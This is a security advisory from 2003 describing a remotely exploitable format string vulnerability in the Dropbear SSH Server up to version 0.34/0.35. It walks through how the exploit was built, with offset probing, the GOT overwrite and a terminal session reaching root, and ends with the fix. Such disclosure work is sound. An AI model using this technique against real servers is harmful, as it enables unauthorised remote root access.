[UNIX] Dropbear SSH Server Format String Vulnerability
From: SecuriTeam (support_at_securiteam.com)
To: email@example.com Date: 18 Aug 2003 14:07:13 +0200
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Dropbear SSH Server Format String Vulnerability
<http://matt.ucc.asn.au/dropbear/dropbear.html> Dropbear SSH Server is "a
small Secure Shell server suitable for embedded environments. It
implements various features of the SSH 2 protocol, including X11 and
Authentication agent forwarding".
A remotely exploitable format string vulnerability exists in the default
configuration of the Dropbear SSH Server up until version 0.35, which was
released shortly after Matt Johnston, the Dropbear developer, was notified
of the problem.
* Dropbear SSH Server 0.34 and less
* Dropbear SSH Server 0.35
The bug can be triggered by supplying a username with format specifiers
and make a login attempt. Since the user does not exist, the login attempt
will fail and the following code in auth.c will be executed:
"login attempt for nonexistant user '%s' from %s",
To format the log message, vsnprintf() is used, the resulting buffer will
be passed to syslog() (unless Dropbear is run in foreground or compiled
with DISABLE_SYSLOG defined). The formatted buffer is passed as a string
to syslog() so if the username contains any format string specifiers, they
will be parsed. This can be used to overwrite arbitrary memory addresses
(such as function pointers) with user-defined data (such as the address to
shellcode supplied by the attacker).
Exploiting this bug was not entirely straightforward, but not far from
either. The total time from downloading and starting to audit the Dropbear
source until having developed a working exploit was just a few hours.
Instead of just presenting an exploit, Joel will describe the essential
steps of the process in detail here and make the exploit available at a
First, let's see if we can find the offset to our format string by using
%<N>$08X to log four bytes at offset N.
[root@vudo /home/je/dropbear-0.34]# ./dropbear -p 2222
[root@vudo /home/je/dropbear-0.34]# ssh -p 2222 'AAAA.%24$08X'@localhost
[root@vudo /home/je/dropbear-0.34]# tail -2 /var/log/auth.log
Aug 16 20:04:43 vudo dropbear: login attempt for nonexistent
user 'AAAA.41414141' from 127.0.0.1
Aug 16 20:04:48 vudo dropbear: exited before userauth: error
Of course, a remote attacker would have to guess the offset (which in this
case is 24), but this is not much of a problem. It may vary depending on
if gcc-2.x or gcc-3.x is used for instance, since gcc-3.x adds a little
padding to buffers (supposedly to make 1-byte-overflows harmless), but the
variation will not be big.
The username is limited to 25 characters, which is a little too few for
traditional format string techniques where an entire 4-bytes pointer is
overwritten, using two or four overlapping writes (with %hn or %hhn
respectively). We also need to find a place for our shellcode, since there
obviously will not be enough place left in the username. By examining
recv_msg_userauth_request() in auth.c we can see that three strings are
received: The username, the servicename and the methodname. We are already
using the username for our format string (and it is limited to 25 bytes,
as mentioned), the servicename must be "ssh-connection" or the connection
will fail before the vulnerable code is executed, but the methodname may
be anything except "none" which is explicitly not allowed. We can put as
much as a little more than 30,000 characters in the methodname-string. To
do this, we have to modify an SSH-client of course, or implement the
SSH-protocol ourselves. We choose to modify the SSH client from OpenSSH.
We have already mentioned that there is not enough space for a format
string that overwrites an entire 4-bytes pointer, but we have more than
enough space to overwrite two bytes with an arbitrary value. By
overwriting the two upper bytes of the GOT-entry of a function that is
used after syslog() has been called, we have a very good chance being able
to point it into the methodstring with our shellcode.
Enough theory, let us see how it works out in practice. First, we modified
OpenSSH to let us specify the method-string in an environment variable:
[je@vudo ~/openssh-3.6.1p2]$ SSH_METHOD=`perl -e 'print "A"x30000'`
/ssh -p 2222 whatever@localhost
Then we looked up the address of a suitable GOT-entry and attached with
gdb to the server-process:
[root@vudo /home/je/dropbear-0.34]# objdump -R dropbear | awk '$3 ==
08067590 R_386_JUMP_SLOT write
[root@vudo /home/je/dropbear-0.34]# ps auxw | grep dropbear | tail -1
root 14685 5.8 0.6 1912 840 pts/7 S 21:06 0:00 ./dropbear -p 2222
[root@vudo /home/je/dropbear-0.34]# gdb dropbear 14685
(gdb) x/x 0x8067590
0x8067590 <__JCR_LIST__+64>: 0x4012e6c0
(gdb) x/x 0x807e6c0
As you can see, write()'s GOT-entry has the value 0x4012e6c0, and
0x0807e6c0 points into the method-string. Thus, to exploit this bug we
could put shellcode at the end of methodname and use the format string
vulnerability to write 0x0807 to 0x08067590+2.
This is a sample run of the exploit we developed for the vulnerability:
[je@vudo ~/openssh-3.6.1p2]$ ./dropdead
Linux/x86 Exploit for Dropbear SSH Server <= 0.34
By Joel Eriksson <firstname.lastname@example.org>
Usage: ./dropdead ADDR [PORT] [HIADDR] [FPADDR]
[je@vudo ~/openssh-3.6.1p2]$ ./dropdead
uid=0(root) gid=0(root) groups=0(root)
Upgrade to Dropbear version 0.35
Edit util.c and change:
syslog(priority, "%s", printbuf);
The information has been provided by <mailto:email@example.com> Joel Eriksson
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